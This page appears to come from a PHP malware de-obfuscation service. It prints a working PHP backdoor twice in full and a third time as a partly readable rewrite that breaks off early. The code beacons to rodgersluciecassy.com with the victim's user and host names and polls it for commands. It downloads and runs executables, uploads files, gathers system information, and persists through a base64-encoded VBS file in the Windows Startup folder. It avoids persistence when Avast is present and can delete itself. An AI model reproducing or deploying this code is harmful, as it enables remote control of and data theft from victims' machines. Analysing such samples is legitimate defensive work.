De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php
$WaDQOBKStVPFGNr="http://rodgersluciecassy.com/mbp";
$kQnJBXcTfDmsOupyRILAgh=$WaDQOBKStVPFGNr."/apit.php";
$QoBahiCDNplUEKftjYGXvWMRzs=$WaDQOBKStVPFGNr."/accept.php?ref=2";
$LAqeyDBGXSRzF=$WaDQOBKStVPFGNr."/down/";
$ExVlgntRJHDpcUBiSw=false;
$TdirPQgoxkvfEZLYAHmcJWb="config.json";
$SmlVyHuiBfCkJ="PHP-8.2.vbs";
$tiJvURcgwpkxEmLnZfSay="";
$kmUYvZFTRgeLCxJOsQ=realpath(dirname(__FILE__))."\\".$TdirPQgoxkvfEZLYAHmcJWb;
$eUzT=realpath(__FILE__);
$trMHasNubY=sys_get_temp_dir();
$YKLGqi=getenv('APPDATA').'\Microsoft\Windows\Start Menu\Programs\Startup';
$GUmblxCrJYFuDMoQGt=$YKLGqi."\\".$SmlVyHuiBfCkJ;
$lgRhFxzpDTujQySmBCEO=$trMHasNubY."\\".XirzdcNPYGojUMEkVf(5);
$bWapICeLQtJny=false;
define('bOXVPTKNHdzwflaJeRqi',"aid");
define('MbOXVPTKNHdzwflaJeRqi',"mid");
define('pSuaVT',"data");
define('izGhxDwj',"cstat");
define('rUYPGFtZeNKCWsjmVhdIXOlqba',"cmdid");
define('fBLjhvRkECpwnodGYI',1);
define('CUYzeSfwbG',2);
define('zQouxyfCEwVmbaGHDlRISJP',3);
define('OilGv',4);
define('aGxZmVqyR',1);
define('EObQwzKNFDTV',2);
define('rJLvkSzWdBhXIgpqCY',3);
define('zXuKmaDr',4);
define('NIpTROkeuQB',5);
define('YZaSgiEHmdbPkwuOvCqRJ',0);
define('RFJvESCHZXtObgYPQIUWa',1);
define('FZHKpJvWuXQeYorsGdi',2);
define('qnAOFkWIZTbGmPCseH',"void");
define('jfPHDtYgiaKQsOxnZ',"|");
define('yoek','[@]');
define('dJuxvi',15);
function ThXY($qhfLjwMcKpxIoBEr) {
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$HJqMPKRl=array('http'=>array('header'=>"Content-type: application/x-www-form-urlencoded\r\n",'method'=>'POST','content'=>http_build_query($qhfLjwMcKpxIoBEr)));
$qgXtbfCLup=stream_context_create($HJqMPKRl);
$aUYpSdIo=file_get_contents($kQnJBXcTfDmsOupyRILAgh,false,$qgXtbfCLup);
if($aUYpSdIo===false) {
return false;
}
else {
return true;
}
}
function lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu) {
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$JRXzloy=http_build_query($YlbesARgzqMiXwJnVPOthkcdfu);
$UEOhDCqYMJspKNAwFTZ=$kQnJBXcTfDmsOupyRILAgh."?".$JRXzloy;
$cwqasHVFlK=file_get_contents($UEOhDCqYMJspKNAwFTZ);
if($cwqasHVFlK===false) {
return "";
}
else {
return $cwqasHVFlK;
}
}
function azGopeXscn() {
global $kQnJBXcTfDmsOupyRILAgh;
do {
$CzBsUDNFLXHmvWPOai=@get_headers($kQnJBXcTfDmsOupyRILAgh);
$uhyiNpLsKdVroem=is_array($CzBsUDNFLXHmvWPOai)&&strpos($CzBsUDNFLXHmvWPOai[0],'200')!==false;
sleep(3);
}
while(!$uhyiNpLsKdVroem);
}
function KMUqXBDfaeGnZ($DJWhI) {
global $QoBahiCDNplUEKftjYGXvWMRzs;
azGopeXscn();
$uYLPsAQvNWJK=basename($DJWhI);
$sIRMKjCOyXn=file_get_contents($DJWhI);
$VHwqspiUBLJyzeAnOfkg=uniqid();
$qhfLjwMcKpxIoBEr="--$VHwqspiUBLJyzeAnOfkg\r\n"."Content-Disposition: form-data; name=\"file\"; filename=\"$uYLPsAQvNWJK\"\r\n"."Content-Type: application/octet-stream\r\n\r\n".$sIRMKjCOyXn."\r\n"."--$VHwqspiUBLJyzeAnOfkg--\r\n";
$HJqMPKRl=array('http'=>array('header'=>"Content-Type: multipart/form-data; boundary=$VHwqspiUBLJyzeAnOfkg\r\n",'method'=>'POST','content'=>$qhfLjwMcKpxIoBEr));
$qgXtbfCLup=stream_context_create($HJqMPKRl);
$aUYpSdIo=file_get_contents($QoBahiCDNplUEKftjYGXvWMRzs,false,$qgXtbfCLup);
if($aUYpSdIo===false) {
return false;
}
else {
return true;
}
}
function cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci) {
azGopeXscn();
global $LAqeyDBGXSRzF,$trMHasNubY;
$rVODtbxMhwCUse=$LAqeyDBGXSRzF.$HXGzBsytdAFknwQpOjumElRci;
$AmbnXvqIGfPzHecr=$trMHasNubY."\\".$HXGzBsytdAFknwQpOjumElRci;
$sIRMKjCOyXn=file_get_contents($rVODtbxMhwCUse);
if($sIRMKjCOyXn===false) {
return false;
}
else {
file_put_contents($AmbnXvqIGfPzHecr,$sIRMKjCOyXn);
return true;
}
}
function iVfhsQdrNwJtPOyxzelakBMG($HXGzBsytdAFknwQpOjumElRci) {
$XeYCVNjwPRuD=cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci);
if($XeYCVNjwPRuD) {
global $trMHasNubY;
$AmbnXvqIGfPzHecr=$trMHasNubY."\\".$HXGzBsytdAFknwQpOjumElRci;
pclose(popen("start /B ".$AmbnXvqIGfPzHecr,"r"));
}
}
function XirzdcNPYGojUMEkVf($wYbeuia) {
$xHRNLe='';
$LitQygNEXbjd='abcdefghijklmnopqrstuvwxyz0123456789';
for($i=0;$i<$wYbeuia;$i++) {
$xHRNLe.=$LitQygNEXbjd[rand(0,strlen($LitQygNEXbjd)-1)];
}
return $xHRNLe;
}
function TLyBaPKCzd() {
global $tiJvURcgwpkxEmLnZfSay;
$tiJvURcgwpkxEmLnZfSay=strtoupper(XirzdcNPYGojUMEkVf(25));
$DMILTZJWvFbgnSoxYpA=get_current_user();
$MLYPabqNXeSgTji=gethostname();
$zyXpD=$DMILTZJWvFbgnSoxYpA."@".$MLYPabqNXeSgTji;
$qhfLjwMcKpxIoBEr=array(bOXVPTKNHdzwflaJeRqi=>fBLjhvRkECpwnodGYI,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay,pSuaVT=>$zyXpD);
ThXY($qhfLjwMcKpxIoBEr);
}
function CRnUiwmFYBvKsTh($qhfLjwMcKpxIoBEr) {
$owLmqUvFBdpzYgETAKn=json_encode($qhfLjwMcKpxIoBEr);
global $kmUYvZFTRgeLCxJOsQ;
file_put_contents($kmUYvZFTRgeLCxJOsQ,$owLmqUvFBdpzYgETAKn);
}
function cJivuadkqGsOmWBxE($phurxdnVKbM) {
global $kmUYvZFTRgeLCxJOsQ;
$owLmqUvFBdpzYgETAKn=file_get_contents($kmUYvZFTRgeLCxJOsQ);
$qhfLjwMcKpxIoBEr=json_decode($owLmqUvFBdpzYgETAKn,true);
return $qhfLjwMcKpxIoBEr[$phurxdnVKbM];
}
function KWcaSNtBmFjuxglpVyIEQz() {
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu=[bOXVPTKNHdzwflaJeRqi=>CUYzeSfwbG,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay];
$tlNjzQsReDghpOAx=lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
return $tlNjzQsReDghpOAx;
}
function xYhKmNw($IHdKEWROuM,$mKSQlxFwiNuCBhvzdEoaPTGYrJ) {
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu=[bOXVPTKNHdzwflaJeRqi=>zQouxyfCEwVmbaGHDlRISJP,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay,rUYPGFtZeNKCWsjmVhdIXOlqba=>$mKSQlxFwiNuCBhvzdEoaPTGYrJ,izGhxDwj=>$IHdKEWROuM];
lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
}
function GUmb() {
$bdjthGZrcesnWMqkOVuLFApIy='U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSANCkRpbSBzdHJBcmdzDQpzdHJBcmdzID0gImNtZCAvYyB7UEFUSH0iDQpvU2hlbGwuUnVuIHN0ckFyZ3MsIDAsIGZhbHNl';
global $eUzT;
$xNLHWRAuzIQDeCjfObMGVy=PHP_BINARY.' '.$eUzT;
$bdjthGZrcesnWMqkOVuLFApIy=base64_decode($bdjthGZrcesnWMqkOVuLFApIy);
$bdjthGZrcesnWMqkOVuLFApIy=str_replace("{PATH}",$xNLHWRAuzIQDeCjfObMGVy,$bdjthGZrcesnWMqkOVuLFApIy);
global $GUmblxCrJYFuDMoQGt;
file_put_contents($GUmblxCrJYFuDMoQGt,$bdjthGZrcesnWMqkOVuLFApIy);
}
function YXmsGAqwkDrILepfohjNBC() {
global $kmUYvZFTRgeLCxJOsQ;
if(is_file($kmUYvZFTRgeLCxJOsQ))
unlink($kmUYvZFTRgeLCxJOsQ);
global $eUzT;
if(is_file($eUzT))
unlink($eUzT);
global $GUmblxCrJYFuDMoQGt;
if(is_file($GUmblxCrJYFuDMoQGt))
unlink($GUmblxCrJYFuDMoQGt);
exit(0);
}
function PiQmzthacEyxlnsuBfgWOKRv() {
global $trMHasNubY,$lgRhFxzpDTujQySmBCEO,$tiJvURcgwpkxEmLnZfSay;
$NfWXVHIETZuayQorGmbJLC="";
$tafXYEOklrUBc="";
$NfWXVHIETZuayQorGmbJLC.=IuRVFsEPYGxQ(1,1);
$NfWXVHIETZuayQorGmbJLC.=IuRVFsEPYGxQ(2,1);
$tafXYEOklrUBc.=IuRVFsEPYGxQ(2,2);
$tafXYEOklrUBc.=IuRVFsEPYGxQ(2,3);
$sUrmgoVqXpe="";
$sUrmgoVqXpe.=$NfWXVHIETZuayQorGmbJLC.yoek;
$sUrmgoVqXpe.=$tafXYEOklrUBc.yoek;
$sUrmgoVqXpe.="-".yoek;
$sUrmgoVqXpe.="-";
$sUrmgoVqXpe=base64_encode($sUrmgoVqXpe);
$qhfLjwMcKpxIoBEr=array(bOXVPTKNHdzwflaJeRqi=>OilGv,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay,pSuaVT=>$sUrmgoVqXpe);
ThXY($qhfLjwMcKpxIoBEr);
unlink($lgRhFxzpDTujQySmBCEO);
}
function IuRVFsEPYGxQ($yVlgTubWpsfXMhNRKd,$nVOpXIWq) {
global $trMHasNubY,$lgRhFxzpDTujQySmBCEO;
$IaeXpkBWzRuStjQ="";
if($yVlgTubWpsfXMhNRKd==1)
$QaKcTyjrLinbPE=base64_decode('UHNJbmZvLmV4ZQ==');
else
$QaKcTyjrLinbPE=base64_decode('UHNJbmZvNjQuZXhl');
$lxCrJYFuDMoQGt=$trMHasNubY."\\".$QaKcTyjrLinbPE;
if(!is_file($lxCrJYFuDMoQGt)) {
cZNfaoIkH($QaKcTyjrLinbPE);
}
if(is_file($lxCrJYFuDMoQGt)) {
switch($nVOpXIWq) {
case 1:
$xlNqYdEHtW=base64_decode('IC1zIC9hY2NlcHRldWxhIGFwcGxpY2F0aW9ucyA+IA==');
break;
case 2:
$xlNqYdEHtW=base64_decode('IC1kIC9hY2NlcHRldWxhIHByb2Nlc3NvciA+IA==');
break;
case 3:
$xlNqYdEHtW=base64_decode('IC9hY2NlcHRldWxhIHZpZGVvID4g');
break;
}
$tlNjzQsReDghpOAx=$lxCrJYFuDMoQGt.$xlNqYdEHtW.$lgRhFxzpDTujQySmBCEO;
pclose(popen("start /B ".$tlNjzQsReDghpOAx,"r"));
sleep(4);
$IaeXpkBWzRuStjQ=file_get_contents($lgRhFxzpDTujQySmBCEO);
}
return $IaeXpkBWzRuStjQ;
}
function oDWILPBXqh() {
global $bWapICeLQtJny;
if(is_dir(base64_decode("QzpcUHJvZ3JhbSBGaWxlc1xBdmFzdCBTb2Z0d2FyZVxBdmFzdA==")))
$bWapICeLQtJny=true;
}
oDWILPBXqh();
if(!is_file($kmUYvZFTRgeLCxJOsQ)) {
TLyBaPKCzd();
$IMTOlAXVFSzhRk=array(MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay);
CRnUiwmFYBvKsTh($IMTOlAXVFSzhRk);
if(!$bWapICeLQtJny)
GUmb();
}
else {
$tiJvURcgwpkxEmLnZfSay=cJivuadkqGsOmWBxE(MbOXVPTKNHdzwflaJeRqi);
}
azGopeXscn();
while(true) {
$mwUxLI=KWcaSNtBmFjuxglpVyIEQz();
$HRaiSozJ=explode(jfPHDtYgiaKQsOxnZ,$mwUxLI);
$mKSQlxFwiNuCBhvzdEoaPTGYrJ=$HRaiSozJ[0];
if($mKSQlxFwiNuCBhvzdEoaPTGYrJ!=qnAOFkWIZTbGmPCseH) {
$jQSfuBZNvpeyxlGkAtIhm=$HRaiSozJ[1];
xYhKmNw(RFJvESCHZXtObgYPQIUWa,$mKSQlxFwiNuCBhvzdEoaPTGYrJ);
switch($mKSQlxFwiNuCBhvzdEoaPTGYrJ) {
case EObQwzKNFDTV:
$ZoLgWNSMUidetKvrB=explode("*",$jQSfuBZNvpeyxlGkAtIhm);
cZNfaoIkH($ZoLgWNSMUidetKvrB[0]);
break;
case rJLvkSzWdBhXIgpqCY:
$GBCjZeqOd=explode("*",$jQSfuBZNvpeyxlGkAtIhm);
iVfhsQdrNwJtPOyxzelakBMG($GBCjZeqOd[0]);
break;
case zXuKmaDr:
YXmsGAqwkDrILepfohjNBC();
break;
case NIpTROkeuQB:
PiQmzthacEyxlnsuBfgWOKRv();
break;
}
xYhKmNw(FZHKpJvWuXQeYorsGdi,$mKSQlxFwiNuCBhvzdEoaPTGYrJ);
}
else {
}
sleep(dJuxvi);
}?>
<?php
$WaDQOBKStVPFGNr="http://rodgersluciecassy.com/mbp";
$kQnJBXcTfDmsOupyRILAgh=$WaDQOBKStVPFGNr."/apit.php";
$QoBahiCDNplUEKftjYGXvWMRzs=$WaDQOBKStVPFGNr."/accept.php?ref=2";
$LAqeyDBGXSRzF=$WaDQOBKStVPFGNr."/down/";
$ExVlgntRJHDpcUBiSw=false;
$TdirPQgoxkvfEZLYAHmcJWb="config.json";
$SmlVyHuiBfCkJ="PHP-8.2.vbs";
$tiJvURcgwpkxEmLnZfSay="";
$kmUYvZFTRgeLCxJOsQ=realpath(dirname(__FILE__))."\\".$TdirPQgoxkvfEZLYAHmcJWb;
$eUzT=realpath(__FILE__);
$trMHasNubY=sys_get_temp_dir();
$YKLGqi=getenv('APPDATA').'\Microsoft\Windows\Start Menu\Programs\Startup';
$GUmblxCrJYFuDMoQGt=$YKLGqi."\\".$SmlVyHuiBfCkJ;
$lgRhFxzpDTujQySmBCEO=$trMHasNubY."\\".XirzdcNPYGojUMEkVf(5);
$bWapICeLQtJny=false;
define('bOXVPTKNHdzwflaJeRqi',"aid");
define('MbOXVPTKNHdzwflaJeRqi',"mid");
define('pSuaVT',"data");
define('izGhxDwj',"cstat");
define('rUYPGFtZeNKCWsjmVhdIXOlqba',"cmdid");
define('fBLjhvRkECpwnodGYI',1);
define('CUYzeSfwbG',2);
define('zQouxyfCEwVmbaGHDlRISJP',3);
define('OilGv',4);
define('aGxZmVqyR',1);
define('EObQwzKNFDTV',2);
define('rJLvkSzWdBhXIgpqCY',3);
define('zXuKmaDr',4);
define('NIpTROkeuQB',5);
define('YZaSgiEHmdbPkwuOvCqRJ',0);
define('RFJvESCHZXtObgYPQIUWa',1);
define('FZHKpJvWuXQeYorsGdi',2);
define('qnAOFkWIZTbGmPCseH',"void");
define('jfPHDtYgiaKQsOxnZ',"|");
define('yoek','[@]');
define('dJuxvi',15);
function ThXY($qhfLjwMcKpxIoBEr) {
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$HJqMPKRl=array('http'=>array('header'=>"Content-type: application/x-www-form-urlencoded\r\n",'method'=>'POST','content'=>http_build_query($qhfLjwMcKpxIoBEr)));
$qgXtbfCLup=stream_context_create($HJqMPKRl);
$aUYpSdIo=file_get_contents($kQnJBXcTfDmsOupyRILAgh,false,$qgXtbfCLup);
if($aUYpSdIo===false) {
return false;
}
else {
return true;
}
}
function lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu) {
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$JRXzloy=http_build_query($YlbesARgzqMiXwJnVPOthkcdfu);
$UEOhDCqYMJspKNAwFTZ=$kQnJBXcTfDmsOupyRILAgh."?".$JRXzloy;
$cwqasHVFlK=file_get_contents($UEOhDCqYMJspKNAwFTZ);
if($cwqasHVFlK===false) {
return "";
}
else {
return $cwqasHVFlK;
}
}
function azGopeXscn() {
global $kQnJBXcTfDmsOupyRILAgh;
do {
$CzBsUDNFLXHmvWPOai=@get_headers($kQnJBXcTfDmsOupyRILAgh);
$uhyiNpLsKdVroem=is_array($CzBsUDNFLXHmvWPOai)&&strpos($CzBsUDNFLXHmvWPOai[0],'200')!==false;
sleep(3);
}
while(!$uhyiNpLsKdVroem);
}
function KMUqXBDfaeGnZ($DJWhI) {
global $QoBahiCDNplUEKftjYGXvWMRzs;
azGopeXscn();
$uYLPsAQvNWJK=basename($DJWhI);
$sIRMKjCOyXn=file_get_contents($DJWhI);
$VHwqspiUBLJyzeAnOfkg=uniqid();
$qhfLjwMcKpxIoBEr="--$VHwqspiUBLJyzeAnOfkg\r\n"."Content-Disposition: form-data; name=\"file\"; filename=\"$uYLPsAQvNWJK\"\r\n"."Content-Type: application/octet-stream\r\n\r\n".$sIRMKjCOyXn."\r\n"."--$VHwqspiUBLJyzeAnOfkg--\r\n";
$HJqMPKRl=array('http'=>array('header'=>"Content-Type: multipart/form-data; boundary=$VHwqspiUBLJyzeAnOfkg\r\n",'method'=>'POST','content'=>$qhfLjwMcKpxIoBEr));
$qgXtbfCLup=stream_context_create($HJqMPKRl);
$aUYpSdIo=file_get_contents($QoBahiCDNplUEKftjYGXvWMRzs,false,$qgXtbfCLup);
if($aUYpSdIo===false) {
return false;
}
else {
return true;
}
}
function cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci) {
azGopeXscn();
global $LAqeyDBGXSRzF,$trMHasNubY;
$rVODtbxMhwCUse=$LAqeyDBGXSRzF.$HXGzBsytdAFknwQpOjumElRci;
$AmbnXvqIGfPzHecr=$trMHasNubY."\\".$HXGzBsytdAFknwQpOjumElRci;
$sIRMKjCOyXn=file_get_contents($rVODtbxMhwCUse);
if($sIRMKjCOyXn===false) {
return false;
}
else {
file_put_contents($AmbnXvqIGfPzHecr,$sIRMKjCOyXn);
return true;
}
}
function iVfhsQdrNwJtPOyxzelakBMG($HXGzBsytdAFknwQpOjumElRci) {
$XeYCVNjwPRuD=cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci);
if($XeYCVNjwPRuD) {
global $trMHasNubY;
$AmbnXvqIGfPzHecr=$trMHasNubY."\\".$HXGzBsytdAFknwQpOjumElRci;
pclose(popen("start /B ".$AmbnXvqIGfPzHecr,"r"));
}
}
function XirzdcNPYGojUMEkVf($wYbeuia) {
$xHRNLe='';
$LitQygNEXbjd='abcdefghijklmnopqrstuvwxyz0123456789';
for($i=0;$i<$wYbeuia;$i++) {
$xHRNLe.=$LitQygNEXbjd[rand(0,strlen($LitQygNEXbjd)-1)];
}
return $xHRNLe;
}
function TLyBaPKCzd() {
global $tiJvURcgwpkxEmLnZfSay;
$tiJvURcgwpkxEmLnZfSay=strtoupper(XirzdcNPYGojUMEkVf(25));
$DMILTZJWvFbgnSoxYpA=get_current_user();
$MLYPabqNXeSgTji=gethostname();
$zyXpD=$DMILTZJWvFbgnSoxYpA."@".$MLYPabqNXeSgTji;
$qhfLjwMcKpxIoBEr=array(bOXVPTKNHdzwflaJeRqi=>fBLjhvRkECpwnodGYI,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay,pSuaVT=>$zyXpD);
ThXY($qhfLjwMcKpxIoBEr);
}
function CRnUiwmFYBvKsTh($qhfLjwMcKpxIoBEr) {
$owLmqUvFBdpzYgETAKn=json_encode($qhfLjwMcKpxIoBEr);
global $kmUYvZFTRgeLCxJOsQ;
file_put_contents($kmUYvZFTRgeLCxJOsQ,$owLmqUvFBdpzYgETAKn);
}
function cJivuadkqGsOmWBxE($phurxdnVKbM) {
global $kmUYvZFTRgeLCxJOsQ;
$owLmqUvFBdpzYgETAKn=file_get_contents($kmUYvZFTRgeLCxJOsQ);
$qhfLjwMcKpxIoBEr=json_decode($owLmqUvFBdpzYgETAKn,true);
return $qhfLjwMcKpxIoBEr[$phurxdnVKbM];
}
function KWcaSNtBmFjuxglpVyIEQz() {
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu=[bOXVPTKNHdzwflaJeRqi=>CUYzeSfwbG,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay];
$tlNjzQsReDghpOAx=lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
return $tlNjzQsReDghpOAx;
}
function xYhKmNw($IHdKEWROuM,$mKSQlxFwiNuCBhvzdEoaPTGYrJ) {
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu=[bOXVPTKNHdzwflaJeRqi=>zQouxyfCEwVmbaGHDlRISJP,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay,rUYPGFtZeNKCWsjmVhdIXOlqba=>$mKSQlxFwiNuCBhvzdEoaPTGYrJ,izGhxDwj=>$IHdKEWROuM];
lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
}
function GUmb() {
$bdjthGZrcesnWMqkOVuLFApIy='U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSANCkRpbSBzdHJBcmdzDQpzdHJBcmdzID0gImNtZCAvYyB7UEFUSH0iDQpvU2hlbGwuUnVuIHN0ckFyZ3MsIDAsIGZhbHNl';
global $eUzT;
$xNLHWRAuzIQDeCjfObMGVy=PHP_BINARY.' '.$eUzT;
$bdjthGZrcesnWMqkOVuLFApIy=base64_decode($bdjthGZrcesnWMqkOVuLFApIy);
$bdjthGZrcesnWMqkOVuLFApIy=str_replace("{PATH}",$xNLHWRAuzIQDeCjfObMGVy,$bdjthGZrcesnWMqkOVuLFApIy);
global $GUmblxCrJYFuDMoQGt;
file_put_contents($GUmblxCrJYFuDMoQGt,$bdjthGZrcesnWMqkOVuLFApIy);
}
function YXmsGAqwkDrILepfohjNBC() {
global $kmUYvZFTRgeLCxJOsQ;
if(is_file($kmUYvZFTRgeLCxJOsQ))
unlink($kmUYvZFTRgeLCxJOsQ);
global $eUzT;
if(is_file($eUzT))
unlink($eUzT);
global $GUmblxCrJYFuDMoQGt;
if(is_file($GUmblxCrJYFuDMoQGt))
unlink($GUmblxCrJYFuDMoQGt);
exit(0);
}
function PiQmzthacEyxlnsuBfgWOKRv() {
global $trMHasNubY,$lgRhFxzpDTujQySmBCEO,$tiJvURcgwpkxEmLnZfSay;
$NfWXVHIETZuayQorGmbJLC="";
$tafXYEOklrUBc="";
$NfWXVHIETZuayQorGmbJLC.=IuRVFsEPYGxQ(1,1);
$NfWXVHIETZuayQorGmbJLC.=IuRVFsEPYGxQ(2,1);
$tafXYEOklrUBc.=IuRVFsEPYGxQ(2,2);
$tafXYEOklrUBc.=IuRVFsEPYGxQ(2,3);
$sUrmgoVqXpe="";
$sUrmgoVqXpe.=$NfWXVHIETZuayQorGmbJLC.yoek;
$sUrmgoVqXpe.=$tafXYEOklrUBc.yoek;
$sUrmgoVqXpe.="-".yoek;
$sUrmgoVqXpe.="-";
$sUrmgoVqXpe=base64_encode($sUrmgoVqXpe);
$qhfLjwMcKpxIoBEr=array(bOXVPTKNHdzwflaJeRqi=>OilGv,MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay,pSuaVT=>$sUrmgoVqXpe);
ThXY($qhfLjwMcKpxIoBEr);
unlink($lgRhFxzpDTujQySmBCEO);
}
function IuRVFsEPYGxQ($yVlgTubWpsfXMhNRKd,$nVOpXIWq) {
global $trMHasNubY,$lgRhFxzpDTujQySmBCEO;
$IaeXpkBWzRuStjQ="";
if($yVlgTubWpsfXMhNRKd==1)
$QaKcTyjrLinbPE=base64_decode('UHNJbmZvLmV4ZQ==');
else
$QaKcTyjrLinbPE=base64_decode('UHNJbmZvNjQuZXhl');
$lxCrJYFuDMoQGt=$trMHasNubY."\\".$QaKcTyjrLinbPE;
if(!is_file($lxCrJYFuDMoQGt)) {
cZNfaoIkH($QaKcTyjrLinbPE);
}
if(is_file($lxCrJYFuDMoQGt)) {
switch($nVOpXIWq) {
case 1:
$xlNqYdEHtW=base64_decode('IC1zIC9hY2NlcHRldWxhIGFwcGxpY2F0aW9ucyA+IA==');
break;
case 2:
$xlNqYdEHtW=base64_decode('IC1kIC9hY2NlcHRldWxhIHByb2Nlc3NvciA+IA==');
break;
case 3:
$xlNqYdEHtW=base64_decode('IC9hY2NlcHRldWxhIHZpZGVvID4g');
break;
}
$tlNjzQsReDghpOAx=$lxCrJYFuDMoQGt.$xlNqYdEHtW.$lgRhFxzpDTujQySmBCEO;
pclose(popen("start /B ".$tlNjzQsReDghpOAx,"r"));
sleep(4);
$IaeXpkBWzRuStjQ=file_get_contents($lgRhFxzpDTujQySmBCEO);
}
return $IaeXpkBWzRuStjQ;
}
function oDWILPBXqh() {
global $bWapICeLQtJny;
if(is_dir(base64_decode("QzpcUHJvZ3JhbSBGaWxlc1xBdmFzdCBTb2Z0d2FyZVxBdmFzdA==")))
$bWapICeLQtJny=true;
}
oDWILPBXqh();
if(!is_file($kmUYvZFTRgeLCxJOsQ)) {
TLyBaPKCzd();
$IMTOlAXVFSzhRk=array(MbOXVPTKNHdzwflaJeRqi=>$tiJvURcgwpkxEmLnZfSay);
CRnUiwmFYBvKsTh($IMTOlAXVFSzhRk);
if(!$bWapICeLQtJny)
GUmb();
}
else {
$tiJvURcgwpkxEmLnZfSay=cJivuadkqGsOmWBxE(MbOXVPTKNHdzwflaJeRqi);
}
azGopeXscn();
while(true) {
$mwUxLI=KWcaSNtBmFjuxglpVyIEQz();
$HRaiSozJ=explode(jfPHDtYgiaKQsOxnZ,$mwUxLI);
$mKSQlxFwiNuCBhvzdEoaPTGYrJ=$HRaiSozJ[0];
if($mKSQlxFwiNuCBhvzdEoaPTGYrJ!=qnAOFkWIZTbGmPCseH) {
$jQSfuBZNvpeyxlGkAtIhm=$HRaiSozJ[1];
xYhKmNw(RFJvESCHZXtObgYPQIUWa,$mKSQlxFwiNuCBhvzdEoaPTGYrJ);
switch($mKSQlxFwiNuCBhvzdEoaPTGYrJ) {
case EObQwzKNFDTV:
$ZoLgWNSMUidetKvrB=explode("*",$jQSfuBZNvpeyxlGkAtIhm);
cZNfaoIkH($ZoLgWNSMUidetKvrB[0]);
break;
case rJLvkSzWdBhXIgpqCY:
$GBCjZeqOd=explode("*",$jQSfuBZNvpeyxlGkAtIhm);
iVfhsQdrNwJtPOyxzelakBMG($GBCjZeqOd[0]);
break;
case zXuKmaDr:
YXmsGAqwkDrILepfohjNBC();
break;
case NIpTROkeuQB:
PiQmzthacEyxlnsuBfgWOKRv();
break;
}
xYhKmNw(FZHKpJvWuXQeYorsGdi,$mKSQlxFwiNuCBhvzdEoaPTGYrJ);
}
else {
}
sleep(dJuxvi);
}?><?php
$WaDQOBKStVPFGNr = "http://rodgersluciecassy.com/mbp";
$kQnJBXcTfDmsOupyRILAgh = "http://rodgersluciecassy.com/mbp/apit.php";
$QoBahiCDNplUEKftjYGXvWMRzs = "http://rodgersluciecassy.com/mbp/accept.php?ref=2";
$LAqeyDBGXSRzF = "http://rodgersluciecassy.com/mbp/down/";
$ExVlgntRJHDpcUBiSw = false;
$TdirPQgoxkvfEZLYAHmcJWb = "config.json";
$SmlVyHuiBfCkJ = "PHP-8.2.vbs";
$tiJvURcgwpkxEmLnZfSay = "";
$kmUYvZFTRgeLCxJOsQ = realpath("/var/www/html") . "\\" . $TdirPQgoxkvfEZLYAHmcJWb;
$eUzT = realpath("/var/www/html/input.php");
$trMHasNubY = sys_get_temp_dir();
$YKLGqi = getenv('APPDATA') . '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup';
$GUmblxCrJYFuDMoQGt = $YKLGqi . "\\" . $SmlVyHuiBfCkJ;
$lgRhFxzpDTujQySmBCEO = $trMHasNubY . "\\" . XirzdcNPYGojUMEkVf(5);
$bWapICeLQtJny = false;
define('bOXVPTKNHdzwflaJeRqi', "aid");
define('MbOXVPTKNHdzwflaJeRqi', "mid");
define('pSuaVT', "data");
define('izGhxDwj', "cstat");
define('rUYPGFtZeNKCWsjmVhdIXOlqba', "cmdid");
define('fBLjhvRkECpwnodGYI', 1);
define('CUYzeSfwbG', 2);
define('zQouxyfCEwVmbaGHDlRISJP', 3);
define('OilGv', 4);
define('aGxZmVqyR', 1);
define('EObQwzKNFDTV', 2);
define('rJLvkSzWdBhXIgpqCY', 3);
define('zXuKmaDr', 4);
define('NIpTROkeuQB', 5);
define('YZaSgiEHmdbPkwuOvCqRJ', 0);
define('RFJvESCHZXtObgYPQIUWa', 1);
define('FZHKpJvWuXQeYorsGdi', 2);
define('qnAOFkWIZTbGmPCseH', "void");
define('jfPHDtYgiaKQsOxnZ', "|");
define('yoek', '[@]');
define('dJuxvi', 15);
function ThXY($qhfLjwMcKpxIoBEr)
{
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
